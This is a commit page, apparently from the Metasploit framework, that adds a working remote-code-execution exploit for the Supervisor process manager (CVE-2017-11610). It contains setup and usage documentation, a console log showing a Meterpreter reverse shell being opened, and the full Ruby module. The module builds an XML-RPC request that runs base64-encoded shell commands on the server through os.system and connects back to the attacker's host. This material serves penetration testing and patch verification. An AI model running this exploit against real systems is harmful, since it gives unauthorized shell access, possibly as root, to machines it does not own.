Land #8906 RCE for supervisor
commit
4d1e51a0ff
|
@ -0,0 +1,78 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits an authenticated RCE vulnerability in Supervisor versions 3.0a1 to 3.3.2
|
||||
|
||||
This has been tested with versions 3.2.0 and 3.3.2
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
At the time of writing, version 3.2.0-2ubuntu0.1 is available in the Ubuntu repositories.
|
||||
|
||||
1. ```sudo apt-get install supervisor```
|
||||
2. Enable Web interface/XML-RPC server in Supervisor config in `/etc/supervisor/supervisord.conf`
|
||||
|
||||
```
|
||||
[inet_http_server] ; inet (TCP) server disabled by default
|
||||
port=:9001 ; ip_address:port specifier, *:port for all iface
|
||||
username=user ; default is no username (open server)
|
||||
password=123 ; default is no password (open server)
|
||||
```
|
||||
|
||||
3. Restart the service: `sudo service supervisor restart`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. ```use exploit/linux/http/supervisor_xmlrpc_exec```
|
||||
2. ```set lhost [IP]```
|
||||
3. ```set rhost [IP]```
|
||||
4. ```set httpusername user```
|
||||
5. ```set httppassword 123```
|
||||
6. ```exploit```
|
||||
7. A meterpreter session should have been opened successfully
|
||||
|
||||
## Options
|
||||
|
||||
**HttpUsername**
|
||||
|
||||
Username for HTTP basic auth which is set in the conf file(optional)
|
||||
|
||||
**HttpPassword**
|
||||
|
||||
Password for HTTP basic auth which is set in the conf file(optional)
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The path to the XML-RPC endpoint
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Supervisor 3.2.0 on Xubuntu 16.04
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/supervisor_xmlrpc_exec
|
||||
msf exploit(supervisor_xmlrpc_exec) > set httpusername user
|
||||
httpusername => user
|
||||
msf exploit(supervisor_xmlrpc_exec) > set httppassword 123
|
||||
httppassword => 123
|
||||
msf exploit(supervisor_xmlrpc_exec) > set lhost 192.168.0.2
|
||||
lhost => 192.168.0.2
|
||||
msf exploit(supervisor_xmlrpc_exec) > set rhost 192.168.0.19
|
||||
rhost => 192.168.0.19
|
||||
msf exploit(supervisor_xmlrpc_exec) > check
|
||||
|
||||
[*] Extracting version from web interface..
|
||||
[*] Using basic auth (user:123)
|
||||
[+] Vulnerable version found: 3.2.0
|
||||
[*] 192.168.0.19:9001 The target appears to be vulnerable.
|
||||
msf exploit(supervisor_xmlrpc_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.0.2:4444
|
||||
[*] Sending XML-RPC payload via POST to 192.168.0.19:9001/RPC2
|
||||
[*] Using basic auth (user:123)
|
||||
[*] Sending stage (2878872 bytes) to 192.168.0.19
|
||||
[*] Command Stager progress - 100.00% done (782/782 bytes)
|
||||
[+] Request timeout, usually indicates success. Passing to handler..
|
||||
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.19:36186) at 2017-08-30 01:24:45 +0100
|
||||
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,169 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the Supervisor process control software, where an authenticated client
|
||||
can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server.
|
||||
The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this
|
||||
may be root. This vulnerability can only be exploited by an authenticated client, or if supervisord has been
|
||||
configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Calum Hutton <c.e.hutton@gmx.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://github.com/Supervisor/supervisor/issues/964'],
|
||||
['URL', 'https://www.debian.org/security/2017/dsa-3942'],
|
||||
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11610'],
|
||||
['URL', 'https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610'],
|
||||
['CVE', '2017-11610']
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Targets' =>
|
||||
[
|
||||
['3.0a1-3.3.2', {}]
|
||||
],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'RPORT' => 9001,
|
||||
'Payload' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Jul 19 2017',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9001),
|
||||
OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']),
|
||||
OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']),
|
||||
OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check_version(version)
|
||||
if version <= Gem::Version.new('3.3.2') and version >= Gem::Version.new('3.0a1')
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
print_status('Extracting version from web interface..')
|
||||
|
||||
params = {
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/')
|
||||
}
|
||||
if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
|
||||
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
|
||||
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
|
||||
end
|
||||
res = send_request_cgi(params)
|
||||
|
||||
if res
|
||||
if res.code == 200
|
||||
match = res.body.match(/<span>(\d+\.[\dab]\.\d+)<\/span>/)
|
||||
if match
|
||||
version = Gem::Version.new(match[1])
|
||||
if check_version(version)
|
||||
print_good("Vulnerable version found: #{version}")
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
print_bad("Version #{version} is not vulnerable")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
else
|
||||
print_bad('Could not extract version number from web interface')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
elsif res.code == 401
|
||||
print_bad("Authentication failed: #{res.code} response")
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
print_bad("Unexpected HTTP code: #{res.code} response")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
else
|
||||
print_bad('Error connecting to web interface')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
|
||||
# XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server
|
||||
# Credit to the following urls for the os.system() payload
|
||||
# https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610
|
||||
# https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
|
||||
xml_payload = %{<?xml version="1.0"?>
|
||||
<methodCall>
|
||||
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&1 &</string>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>}
|
||||
|
||||
# Send the XML-RPC payload via POST to the specified endpoint
|
||||
endpoint_path = target_uri.path
|
||||
print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}")
|
||||
|
||||
params = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(endpoint_path),
|
||||
'ctype' => 'text/xml',
|
||||
'headers' => {'Accept' => 'text/xml'},
|
||||
'data' => xml_payload,
|
||||
'encode_params' => false
|
||||
}
|
||||
if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
|
||||
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
|
||||
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
|
||||
end
|
||||
return send_request_cgi(params, timeout=5)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
res = execute_cmdstager(:linemax => 800)
|
||||
|
||||
if res
|
||||
if res.code == 401
|
||||
fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response")
|
||||
elsif res.code == 404
|
||||
fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response")
|
||||
end
|
||||
else
|
||||
print_good('Request returned without status code, usually indicates success. Passing to handler..')
|
||||
handler
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue